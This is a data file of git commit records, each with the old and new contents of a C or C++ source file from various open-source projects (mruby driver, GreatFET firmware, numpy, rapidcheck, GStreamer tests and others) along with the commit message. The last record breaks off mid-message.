{"commit":"2137ddf9dc59273c6444330246fd1c2c34586679","old_file":"driver\/driver.c","new_file":"driver\/driver.c","old_contents":"\/*\n * driver - driver for loading mruby source code\n *\/\n\n#include <stdio.h>\n\n#include \"mruby.h\"\n#include \"mruby\/compile.h\"\n#include \"mruby\/irep.h\"\n\n\/* The generated mruby bytecodes are stored in this array *\/\nextern const char app_irep[];\n\nint webruby_internal_run(mrb_state* mrb)\n{\n  mrb_load_irep(mrb, app_irep);\n  return (mrb->exc == NULL) ? (0) : (1);\n}\n\nint webruby_internal_run_bytecode(mrb_state* mrb, const char *bc)\n{\n  mrb_load_irep(mrb, bc);\n  return (mrb->exc == NULL) ? (0) : (1);\n}\n\nint webruby_internal_run_source(mrb_state* mrb, const char *s)\n{\n  mrb_load_string(mrb, s);\n  return (mrb->exc == NULL) ? (0) : (1);\n}\n","new_contents":"\/*\n * driver - driver for loading mruby source code\n *\/\n\n#include <stdio.h>\n\n#include \"mruby.h\"\n#include \"mruby\/compile.h\"\n#include \"mruby\/irep.h\"\n\n\/* The generated mruby bytecodes are stored in this array *\/\nextern const char app_irep[];\n\nstatic int check_and_print_errors(mrb_state* mrb)\n{\n  if (mrb->exc) {\n    mrb_p(mrb, mrb_obj_value(mrb->exc));\n    return 1;\n  }\n  return 0;\n}\n\nint webruby_internal_run(mrb_state* mrb)\n{\n  mrb_load_irep(mrb, app_irep);\n  return check_and_print_errors(mrb);\n}\n\nint webruby_internal_run_bytecode(mrb_state* mrb, const char *bc)\n{\n  mrb_load_irep(mrb, bc);\n  return check_and_print_errors(mrb);\n}\n\nint webruby_internal_run_source(mrb_state* mrb, const char *s)\n{\n  mrb_load_string(mrb, s);\n  return check_and_print_errors(mrb);\n}\n","subject":"Print exceptions to console if exist.","message":"Print exceptions to console if exist.\n","lang":"C","license":"mit","repos":"sadasant\/webruby,sadasant\/webruby,xxuejie\/webruby,xxuejie\/webruby"}
{"commit":"7df596443ac992039d239aa34212ff83943f6d7f","old_file":"test\/time-test.c","new_file":"test\/time-test.c","old_contents":"#include <stdlib.h>\n#include <time.h>\n\n#include <detest\/detest.h>\n#include <disco\/time.h>\n\nvoid test_zero_milliseconds_to_timeval() {\n    size_t milliseconds = 0;\n\n    struct timeval t = milliseconds_to_timeval(milliseconds);\n\n    expect(t.tv_sec == 0 && t.tv_usec == 0);\n}\n\nvoid test_one_millisecond_to_timeval() {\n    size_t milliseconds = 1;\n\n    struct timeval t = milliseconds_to_timeval(milliseconds);\n\n    expect(t.tv_sec == 0 && t.tv_usec == 1000);\n}\n\nvoid test_one_thousand_milliseconds_to_timeval() {\n    size_t milliseconds = 1000;\n\n    struct timeval t = milliseconds_to_timeval(milliseconds);\n\n    expect(t.tv_sec == 1 && t.tv_usec == 0);\n}\n\nint main() {\n    add_test(test_zero_milliseconds_to_timeval);\n    add_test(test_one_millisecond_to_timeval);\n    add_test(test_one_thousand_milliseconds_to_timeval);\n\n    return run_tests();\n}\n","new_contents":"#include <stdlib.h>\n#include <time.h>\n\n#include <detest\/detest.h>\n#include <disco\/time.h>\n\nvoid test_zero_milliseconds_to_timeval() {\n    size_t milliseconds = 0;\n\n    struct timeval t = milliseconds_to_timeval(milliseconds);\n\n    expect(t.tv_sec == 0 && t.tv_usec == 0);\n}\n\nvoid test_one_millisecond_to_timeval() {\n    size_t milliseconds = 1;\n\n    struct timeval t = milliseconds_to_timeval(milliseconds);\n\n    expect(t.tv_sec == 0 && t.tv_usec == 1000);\n}\n\nvoid test_one_thousand_milliseconds_to_timeval() {\n    size_t milliseconds = 1000;\n\n    struct timeval t = milliseconds_to_timeval(milliseconds);\n\n    expect(t.tv_sec == 1 && t.tv_usec == 0);\n}\n\nvoid test_one_thousand_and_one_milliseconds_to_timeval() {\n    size_t milliseconds = 1001;\n\n    struct timeval t = milliseconds_to_timeval(milliseconds);\n\n    expect(t.tv_sec == 1 && t.tv_usec == 1000);\n}\n\nint main() {\n    add_test(test_zero_milliseconds_to_timeval);\n    add_test(test_one_millisecond_to_timeval);\n    add_test(test_one_thousand_milliseconds_to_timeval);\n    add_test(test_one_thousand_and_one_milliseconds_to_timeval);\n\n    return run_tests();\n}\n","subject":"Add milliseconds to timeval test","message":"Add milliseconds to timeval test\n","lang":"C","license":"unlicense","repos":"mmurdoch\/disco,mmurdoch\/disco"}
{"commit":"574f35bfae6ea591603ead5a8a7db2154058ca6d","old_file":"firmware\/greatfet_usb\/usb_api_dac.c","new_file":"firmware\/greatfet_usb\/usb_api_dac.c","old_contents":"\/*\n * This file is part of GreatFET\n *\/\n\n#include \"usb_api_dac.h\"\n#include \"usb.h\"\n#include \"usb_queue.h\"\n#include \"usb_endpoint.h\"\n\n#include <stddef.h>\n#include <greatfet_core.h>\n#include <dac.h>\n#include <pins_greatfet.h>\n\nusb_request_status_t usb_vendor_request_dac_set(\n\t\tusb_endpoint_t* const endpoint, const usb_transfer_stage_t stage) {\n\tusb_endpoint_init(&usb0_endpoint_bulk_in);\n\tif (stage == USB_TRANSFER_STAGE_SETUP) {\n\t\t\n\t\t\/\/ set J2_P5 up as a DAC pin\n\t\tscu_pinmux(SCU_PINMUX_GPIO2_3, SCU_GPIO_FAST | SCU_GPIO_PUP | SCU_CONF_FUNCTION0);\n\t\tstatic struct gpio_t dac_pin = GPIO(2, 3);\n\t\tgpio_input(&dac_pin); \n\n\t\tDAC_CR = DAC_CR_VALUE(endpoint->setup.value);\n\t\tDAC_CTRL = DAC_CTRL_DMA_ENA(1);\n\n\t\tusb_transfer_schedule_ack(endpoint->in);\n\t}\n\treturn USB_REQUEST_STATUS_OK;\n}\n","new_contents":"\/*\n * This file is part of GreatFET\n *\/\n\n#include \"usb_api_dac.h\"\n#include \"usb.h\"\n#include \"usb_queue.h\"\n#include \"usb_endpoint.h\"\n\n#include <stddef.h>\n#include <greatfet_core.h>\n#include <dac.h>\n#include <pins.h>\n\nusb_request_status_t usb_vendor_request_dac_set(\n\t\tusb_endpoint_t* const endpoint, const usb_transfer_stage_t stage) {\n\tusb_endpoint_init(&usb0_endpoint_bulk_in);\n\tif (stage == USB_TRANSFER_STAGE_SETUP) {\n\t\t\n\t\t\/\/ set J2_P5 up as a DAC pin\n\t\tscu_pinmux(SCU_PINMUX_GPIO2_3, SCU_GPIO_FAST | SCU_GPIO_PUP | SCU_CONF_FUNCTION0);\n\t\tstatic struct gpio_t dac_pin = GPIO(2, 3);\n\t\tgpio_input(&dac_pin); \n\n\t\tDAC_CR = DAC_CR_VALUE(endpoint->setup.value) && DAC_CR_VALUE_MASK;\n\t\tDAC_CTRL = DAC_CTRL_DMA_ENA(1);\n\n\t\tusb_transfer_schedule_ack(endpoint->in);\n\t}\n\treturn USB_REQUEST_STATUS_OK;\n}\n","subject":"Fix wrong pins header from being included, add mask to DAC control register","message":"Fix wrong pins header from being included, add mask to DAC control register\n","lang":"C","license":"bsd-3-clause","repos":"dominicgs\/GreatFET-experimental,greatscottgadgets\/greatfet,greatscottgadgets\/greatfet,greatscottgadgets\/greatfet,greatscottgadgets\/greatfet,dominicgs\/GreatFET-experimental,dominicgs\/GreatFET-experimental"}
{"commit":"21e21481fc3887bf87731c045e72e5a4b78ec2d7","old_file":"lib\/image\/pgm.c","new_file":"lib\/image\/pgm.c","old_contents":"#include \"image.h\"\n\n#include <inttypes.h>\n\nstatic unsigned char* read_pgm(const char* filename, size_t* width, size_t* height, size_t* nimages) {\n\t*nimages = 1;\n\tunsigned char* image = NULL;\n\tFILE* f = strcmp(filename,\"-\") ? fopen(filename,\"r\") : stdin;\n\tuint16_t depth;\n\tif(\n\t\tf &&\n\t\tfscanf(f,\"P5 %zu %zu %\" PRIu16,width,height,&depth) == 3 &&\n\t\tfgetc(f) != EOF &&\n\t\tdepth < 256 &&\n\t\t*width && *height &&\n\t\t!(*width > PIXEL_MAX \/ *height) &&\n\t\t(image = malloc(*width * *height)) &&\n\t\tfread(image,1,*width * *height,f) == *width * *height\n\t)\n\t\treturn image;\n\tfree(image);\n\treturn NULL;\n}\n\nstruct image_reader resdet_image_reader_pgm = {\n\t.read = read_pgm\n};\n","new_contents":"#include \"image.h\"\n\n#include <inttypes.h>\n\nstatic unsigned char* read_pgm(const char* filename, size_t* width, size_t* height, size_t* nimages) {\n\t*nimages = 1;\n\tunsigned char* image = NULL;\n\tFILE* f = strcmp(filename,\"-\") ? fopen(filename,\"r\") : stdin;\n\tuint16_t depth;\n\tif(\n\t\tf &&\n\t\tfscanf(f,\"P5 %zu %zu %\" SCNu16,width,height,&depth) == 3 &&\n\t\tfgetc(f) != EOF &&\n\t\tdepth < 256 &&\n\t\t*width && *height &&\n\t\t!(*width > PIXEL_MAX \/ *height) &&\n\t\t(image = malloc(*width * *height)) &&\n\t\tfread(image,1,*width * *height,f) == *width * *height\n\t)\n\t\treturn image;\n\tfree(image);\n\treturn NULL;\n}\n\nstruct image_reader resdet_image_reader_pgm = {\n\t.read = read_pgm\n};\n","subject":"Use proper u16 macro for scanf","message":"Use proper u16 macro for scanf\n\nThe PRIu16 macro only guarantees that the resulting conversion\nspecifier will be suitable for printing, not scanning.\nSCNu16 provides the appropriate specifier for the latter.\n\nSome libcs define PRIu16 to just \"%u\" rather than defining both as\n\"%hu\", which is makes sense but results in undefined behavior when\nused with scanf.\n","lang":"C","license":"lgpl-2.1","repos":"0x09\/resdet,0x09\/resdet,0x09\/resdet,0x09\/resdet"}
{"commit":"72e5c6bb8c0df5b6b0812155474065b30f9e95e2","old_file":"firmware\/BlynkWidgets.h","new_file":"firmware\/BlynkWidgets.h","old_contents":"\/**\n * @file       BlynkWidgets.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2015 Volodymyr Shymanskyy\n * @date       Mar 2015\n * @brief\n *\/\n\n#include \"WidgetLED.h\"\n#include \"WidgetLCD.h\"\n\/\/#include <WidgetTerminal.h> \/\/ No Print.h on Spark?\n#include \"WidgetBridge.h\"\n\/\/ Cannot auto-include WidgetSD, as it has library dependency\n","new_contents":"\/**\n * @file       BlynkWidgets.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2015 Volodymyr Shymanskyy\n * @date       Mar 2015\n * @brief\n *\/\n\n#include \"WidgetLED.h\"\n#include \"WidgetLCD.h\"\n#include \"WidgetTerminal.h\"\n#include \"WidgetBridge.h\"\n\/\/ Cannot auto-include WidgetSD, as it has library dependency\n","subject":"Add terminal to common widgets","message":"Add terminal to common widgets\n","lang":"C","license":"mit","repos":"vshymanskyy\/blynk-library-spark,domo-connect\/blynk-library-spark,yaneexy\/blynk-library-spark,vshymanskyy\/blynk-library-spark,domo-connect\/blynk-library-spark,yaneexy\/blynk-library-spark,chieftuscan\/blynk-library-spark,chieftuscan\/blynk-library-spark"}
{"commit":"98e6747307ff09935766012ec715e8161722c069","old_file":"numpy\/core\/src\/multiarray\/buffer.h","new_file":"numpy\/core\/src\/multiarray\/buffer.h","old_contents":"#ifndef _NPY_PRIVATE_BUFFER_H_\n#define _NPY_PRIVATE_BUFFER_H_\n\n#ifdef NPY_ENABLE_MULTIPLE_COMPILATION\nextern NPY_NO_EXPORT PyBufferProcs array_as_buffer;\n#else\nNPY_NO_EXPORT PyBufferProcs array_as_buffer;\n#endif\n\n#endif\n","new_contents":"#ifndef _NPY_PRIVATE_BUFFER_H_\n#define _NPY_PRIVATE_BUFFER_H_\n\n#ifdef NPY_ENABLE_SEPARATE_COMPILATION\nextern NPY_NO_EXPORT PyBufferProcs array_as_buffer;\n#else\nNPY_NO_EXPORT PyBufferProcs array_as_buffer;\n#endif\n\n#endif\n","subject":"Fix mispelled separate compilation macro.","message":"Fix mispelled separate compilation macro.\n\ngit-svn-id: 77a43f9646713b91fea7788fad5dfbf67e151ece@6965 94b884b6-d6fd-0310-90d3-974f1d3f35e1\n","lang":"C","license":"bsd-3-clause","repos":"Ademan\/NumPy-GSoC,efiring\/numpy-work,efiring\/numpy-work,teoliphant\/numpy-refactor,chadnetzer\/numpy-gaurdro,efiring\/numpy-work,teoliphant\/numpy-refactor,teoliphant\/numpy-refactor,teoliphant\/numpy-refactor,Ademan\/NumPy-GSoC,Ademan\/NumPy-GSoC,illume\/numpy3k,illume\/numpy3k,Ademan\/NumPy-GSoC,chadnetzer\/numpy-gaurdro,illume\/numpy3k,jasonmccampbell\/numpy-refactor-sprint,chadnetzer\/numpy-gaurdro,jasonmccampbell\/numpy-refactor-sprint,efiring\/numpy-work,jasonmccampbell\/numpy-refactor-sprint,jasonmccampbell\/numpy-refactor-sprint,chadnetzer\/numpy-gaurdro,teoliphant\/numpy-refactor,illume\/numpy3k"}
{"commit":"ed0f3ad3cc2fb70eabdd0d8dc09936d51c18639c","old_file":"Classes\/Statistics.h","new_file":"Classes\/Statistics.h","old_contents":"\/*\nCopyright (c) 2008, Stig Brautaset. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice,\n    this list of conditions and the following disclaimer.\n\n  * Redistributions in binary form must reproduce the above copyright notice,\n    this list of conditions and the following disclaimer in the documentation\n    and\/or other materials provided with the distribution.\n\n  * Neither the name of the author nor the names of its contributors may be\n    used to endorse or promote products derived from this software without\n    specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#import <Statistics\/SBStatistics.h>\n","new_contents":"\/*\nCopyright (c) 2008, Stig Brautaset. All rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice,\n    this list of conditions and the following disclaimer.\n\n  * Redistributions in binary form must reproduce the above copyright notice,\n    this list of conditions and the following disclaimer in the documentation\n    and\/or other materials provided with the distribution.\n\n  * Neither the name of the author nor the names of its contributors may be\n    used to endorse or promote products derived from this software without\n    specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#import \"SBStatistics.h\"\n","subject":"Fix for include path slighlty incorrect","message":"Fix for include path slighlty incorrect\n","lang":"C","license":"bsd-3-clause","repos":"aug2uag\/Statistics"}
{"commit":"af7e443cb2e40a8c5c3886cf7c37c9a762eaf3b2","old_file":"source\/common\/game_state_manager_base.h","new_file":"source\/common\/game_state_manager_base.h","old_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef GAME_STATE_MANAGER_H\n#define GAME_STATE_MANAGER_H\n\n\nnamespace Common {\n\nclass GameStateManagerBase\n{\npublic:\n\tvirtual bool Initialize() = 0;\n\tvirtual void Shutdown() = 0;\n\t\/**\n\t * Return the wanted period of time between update() calls.\n\t *\n\t * IE: If you want update to be called 20 times a second, this\n\t * should return 50.\n\t *\n\t * NOTE: This should probably be inlined.\n\t * NOTE: This will only be called at the beginning of HalflingEngine::Run()\n\t * TODO: Contemplate the cost\/benefit of calling this once per frame\n\t *\n\t * @return    The period in milliseconds\n\t *\/\n\tvirtual double GetUpdatePeriod() = 0;\n\t\/**\n\t * Called every time the game logic should be updated. The frequency\n\t * of this being called is determined by getUpdatePeriod()\n\t *\/\n\tvirtual void Update() = 0;\n\tvirtual void GamePaused() = 0;\n\tvirtual void GameUnpaused() = 0;\n};\n\n} \/\/ End of namespace Common\n\n#endif\n","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef GAME_STATE_MANAGER_H\n#define GAME_STATE_MANAGER_H\n\n\nnamespace Common {\n\nclass GameStateManagerBase\n{\npublic:\n\tvirtual bool Initialize() = 0;\n\tvirtual void Shutdown() = 0;\n\t\/**\n\t * Return the wanted period of time between update() calls.\n\t *\n\t * IE: If you want update to be called 20 times a second, this\n\t * should return 50.\n\t *\n\t * NOTE: This should probably be inlined.\n\t * NOTE: This will only be called at the beginning of HalflingEngine::Run()\n\t * TODO: Contemplate the cost\/benefit of calling this once per frame\n\t *\n\t * @return    The period in milliseconds\n\t *\/\n\tvirtual double GetUpdatePeriod() = 0;\n\t\/**\n\t * Called every time the game logic should be updated. The frequency\n\t * of this being called is determined by getUpdatePeriod()\n\t *\/\n\tvirtual void Update() = 0;\n\n\tvirtual void OnResize(int newClientWidth, int newClientHeight) = 0;\n\n\tvirtual void GamePaused() = 0;\n\tvirtual void GameUnpaused() = 0;\n\n\tvirtual void MouseDown(WPARAM buttonState, int x, int y) = 0;\n\tvirtual void MouseUp(WPARAM buttonState, int x, int y) = 0;\n\tvirtual void MouseMove(WPARAM buttonState, int x, int y) = 0;\n\tvirtual void MouseWheel(int zDelta) = 0;\n};\n\n} \/\/ End of namespace Common\n\n#endif\n","subject":"Add virtual functions to handle mouse movments and Resize","message":"COMMON: Add virtual functions to handle mouse movments and Resize\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"45aaeef14a06f927c8ebcd31a36c97f180087a1f","old_file":"include\/rapidcheck\/Classify.h","new_file":"include\/rapidcheck\/Classify.h","old_contents":"#pragma once\n\n\/\/\/ Tags the current test case if the specified condition is true. If any tags\n\/\/\/ are specified after the condition, those will be used. Otherwise, a string\n\/\/\/ version of the condition itself will be used as the tag.\n#define RC_CLASSIFY(condition, ...)                                            \\\n  do {                                                                         \\\n    if (condition) {                                                           \\\n      detail::classify(#condition, {__VA_ARGS__});                             \\\n    }                                                                          \\\n  } while (false)\n\n\/\/\/ Tags the current test case with the given values which will be converted to\n\/\/\/ strings.\n#define RC_TAG(...) detail::tag({__VA_ARGS__})\n\n#include \"Classify.hpp\"\n","new_contents":"#pragma once\n\n\/\/\/ Tags the current test case if the specified condition is true. If any tags\n\/\/\/ are specified after the condition, those will be used. Otherwise, a string\n\/\/\/ version of the condition itself will be used as the tag.\n#define RC_CLASSIFY(condition, ...)                                            \\\n  do {                                                                         \\\n    if (condition) {                                                           \\\n      ::rc::detail::classify(#condition, {__VA_ARGS__});                       \\\n    }                                                                          \\\n  } while (false)\n\n\/\/\/ Tags the current test case with the given values which will be converted to\n\/\/\/ strings.\n#define RC_TAG(...) ::rc::detail::tag({__VA_ARGS__})\n\n#include \"Classify.hpp\"\n","subject":"Fix missing namespace qualification in classify macros","message":"Fix missing namespace qualification in classify macros\n","lang":"C","license":"bsd-2-clause","repos":"emil-e\/rapidcheck,unapiedra\/rapidfuzz,emil-e\/rapidcheck,emil-e\/rapidcheck,unapiedra\/rapidfuzz,tm604\/rapidcheck,whoshuu\/rapidcheck,unapiedra\/rapidfuzz,tm604\/rapidcheck,whoshuu\/rapidcheck,whoshuu\/rapidcheck,tm604\/rapidcheck"}
{"commit":"c0bfe92bc801e451e746c8eb8b36d26cb669aa28","old_file":"src\/polyChecksum.h","new_file":"src\/polyChecksum.h","old_contents":"\/**\n    Copyright (c) 2017 Ryan Porter    \n    You may use, distribute, or modify this code under the terms of the MIT license.\n*\/\n\n#ifndef POLY_CHECKSUM_H\n#define POLY_CHECKSUM_H\n\n\/\/ based on code found at http:\/\/www.relisoft.com\/science\/CrcOptim.html\n\nclass PolyChecksum\n{\npublic:\n                        PolyChecksum();\n    virtual void        putBytes(void* bytes, size_t dataSize);\n    virtual int         getResult();\n\npublic:\n\tunsigned long       _table[256];\n\tunsigned long       _register = 0;\n\tunsigned long       _key = 0x04c11db7;\n};\n\n#endif","new_contents":"\/**\n    Copyright (c) 2017 Ryan Porter    \n    You may use, distribute, or modify this code under the terms of the MIT license.\n*\/\n\n#ifndef POLY_CHECKSUM_H\n#define POLY_CHECKSUM_H\n\n#include <cstddef>\n\n\/\/ based on code found at http:\/\/www.relisoft.com\/science\/CrcOptim.html\n\nclass PolyChecksum\n{\npublic:\n                        PolyChecksum();\n    virtual void        putBytes(void* bytes, size_t dataSize);\n    virtual int         getResult();\n\npublic:\n\tunsigned long       _table[256];\n\tunsigned long       _register = 0;\n\tunsigned long       _key = 0x04c11db7;\n};\n\n#endif\n","subject":"Add include required to compile on linux.","message":"Add include required to compile on linux.\n","lang":"C","license":"mit","repos":"yantor3d\/polySymmetry,yantor3d\/polySymmetry"}
{"commit":"f8f561cce68c06ccf63d1ba9e3503c230daf0f8b","old_file":"src\/input.c","new_file":"src\/input.c","old_contents":"#include \"input.h\"\n#include \"command.h\"\n\nTreeNode curNode;\nchar curPlane, extra;\n\nvoid initializeInput() {\n    initializeCommands();\n    curPlane = 0;\n}\n\nvoid handleInput(char ch, AtcsoData *data, WINDOW *msgWin) {\n    if (!curPlane) {\n        if (ch >= 'a' && ch <= 'z') {\n            curPlane = ch;\n            curNode = commands;\n            waddch(msgWin, ch);\n            waddch(msgWin, ':');\n            wrefresh(msgWin);\n        }\n    } else if (ch == '\\n') {\n        if (curNode.func) {\n            (*curNode.func)(data, curPlane, extra);\n            curPlane = 0;\n            werase(msgWin);\n            wrefresh(msgWin);\n        }\n    } else {\n        extra = '\\0';\n        if (ch >= '0' && ch <= '9') {\n            extra = ch;\n            ch = '#';\n        }\n\n        for (int i = 0; i < curNode.nChildren; ++i) {\n            if (curNode.children[i].hotkey == ch) {\n                curNode = curNode.children[i];\n                waddch(msgWin, ' ');\n                if (extra) {\n                    wprintw(msgWin, curNode.str, extra);\n                } else {\n                    waddstr(msgWin, curNode.str);\n                }\n                wrefresh(msgWin);\n                break;\n            }\n        }\n    }\n}\n","new_contents":"#include \"input.h\"\n#include \"command.h\"\n\nTreeNode curNode;\nchar curPlane, extra;\n\nvoid initializeInput() {\n    initializeCommands();\n    curPlane = 0;\n}\n\nvoid handleInput(char ch, AtcsoData *data, WINDOW *msgWin) {\n    if (!curPlane) {\n        if (ch >= 'a' && ch <= 'z') {\n            curPlane = ch;\n            curNode = commands;\n            waddch(msgWin, ch);\n            waddch(msgWin, ':');\n            wrefresh(msgWin);\n        }\n    } else if (ch == '\\n') {\n        if (curNode.func) {\n            (*curNode.func)(data, curPlane, extra);\n            curPlane = 0;\n            werase(msgWin);\n            wrefresh(msgWin);\n        }\n    } else {\n        extra = ch;\n        if (ch >= '0' && ch <= '9') ch = '#';\n\n        for (int i = 0; i < curNode.nChildren; ++i) {\n            if (curNode.children[i].hotkey == ch) {\n                curNode = curNode.children[i];\n                waddch(msgWin, ' ');\n                if (ch == '#') {\n                    wprintw(msgWin, curNode.str, extra);\n                } else {\n                    waddstr(msgWin, curNode.str);\n                }\n                wrefresh(msgWin);\n                break;\n            }\n        }\n    }\n}\n","subject":"Fix bizarre bug in \"altitude [climb|descend]\"","message":"Fix bizarre bug in \"altitude [climb|descend]\"\n\nClimb was descending, and descend was climbing. Turns out it's because\nthey were trying to climb\/descend... newline amount. O_o\n","lang":"C","license":"mit","repos":"KeyboardFire\/atcso"}
{"commit":"f66be80aa2aedddf20d62cdaeb613cf26037ff11","old_file":"src\/nsafepass.c","new_file":"src\/nsafepass.c","old_contents":"#include <stdio.h>\n#include <config.h>\n\nint main(void)\n{\n\tputs(\"This is \" PACKAGE_STRING);\n\n\treturn 0;\n}\n","new_contents":"\/*  This file is part of nsafepass\n    Copyright 2015 Sergey Kvachonok\n\n    nsafepass is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU Affero General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version. *\/\n\n#include <stdio.h>\n#include <config.h>\n\nint main(void)\n{\n\tputs(\"This is \" PACKAGE_STRING);\n\n\treturn 0;\n}\n","subject":"Add AGPLv3 legalese boilerplate to the source files.","message":"Add AGPLv3 legalese boilerplate to the source files.\n\nUse the shortened version because nobody really cares\nabout warranties and liabilities.\n","lang":"C","license":"agpl-3.0","repos":"ravenexp\/nsafepass,ravenexp\/nsafepass"}
{"commit":"35bd31f2613bd766b89ad94cbaf1c7b10791bbe5","old_file":"tests\/padfactory.c","new_file":"tests\/padfactory.c","old_contents":"","new_contents":"#include <gst\/gst.h>\n\nstatic GstCapsFactory mpeg2dec_sink_caps = {\n  \"mpeg2deccaps\",\n  \"video\/mpeg\",\n  \"mpegtype\", GST_PROPS_LIST (\n                     GST_PROPS_INT(1),\n                     GST_PROPS_INT(2)\n\t\t),\n  NULL\n};\n\nstatic GstCapsFactory mpeg2dec_src_caps = {\n  \"name\",\n  \"video\/raw\",\n  \"fourcc\", \tGST_PROPS_LIST (\n                        GST_PROPS_FOURCC ('Y','V','1','2'), \n \t\t\tGST_PROPS_FOURCC_INT (0x56595559)\n\t\t\t),\n  \"width\",\tGST_PROPS_INT_RANGE (16, 4096),\n  \"height\",\tGST_PROPS_INT_RANGE (16, 4096),\n  NULL\n};\n\nstatic GstCapsFactory raw_sink_caps = {\n  NULL\n};\n\nstatic GstPadFactory pad_caps = {\n  \"src\",\n  GST_PAD_FACTORY_SRC,\n  GST_PAD_FACTORY_ALWAYS,\n  GST_PAD_FACTORY_CAPS (\n    \"videocaps\",\n    \"video\/raw\",\n    \"fourcc\", \tGST_PROPS_LIST (\n                        GST_PROPS_FOURCC_INT (0x32315659),\n                        GST_PROPS_FOURCC ('Y','U','Y','V') \n\t\t\t),\n    \"height\",\tGST_PROPS_INT_RANGE (16, 4096)\n  ),\n  GST_PAD_FACTORY_CAPS (\n    \"videocaps2\",\n    \"video\/raw\",\n    \"fourcc\", \tGST_PROPS_LIST (\n                        GST_PROPS_FOURCC_INT (0x32315659)\n\t\t\t),\n    \"height\",\tGST_PROPS_INT_RANGE (16, 256)\n  ),\n  NULL\n};\n\n\nstatic GstCaps *sinkcaps = NULL, \n               *rawcaps = NULL;\n\nstatic GstPadTemplate *temp;\n\nint main(int argc,char *argv[]) \n{\n  gboolean testret;\n  xmlDocPtr doc;\n  xmlNodePtr parent;\n\n  doc = xmlNewDoc (\"1.0\");\n  doc->root = xmlNewDocNode (doc, NULL, \"Capabilities\", NULL);\n\n  _gst_type_initialize ();\n\n  sinkcaps = gst_caps_register (&mpeg2dec_sink_caps);\n  parent = xmlNewChild (doc->root, NULL, \"Capabilities1\", NULL);\n  gst_caps_save_thyself (sinkcaps, parent);\n\n  rawcaps  = gst_caps_register (&mpeg2dec_src_caps);\n  parent = xmlNewChild (doc->root, NULL, \"Capabilities2\", NULL);\n  gst_caps_save_thyself (rawcaps, parent);\n\n  temp = gst_padtemplate_new (&pad_caps);\n  parent = xmlNewChild (doc->root, NULL, \"Padtemplate\", NULL);\n  gst_padtemplate_save_thyself (temp, parent);\n\n  xmlDocDump(stdout, doc);\n\n  return 0;\n}\n","subject":"Test program for the pad factory","message":"Test program for the pad factory\n\nOriginal commit message from CVS:\nTest program for the pad 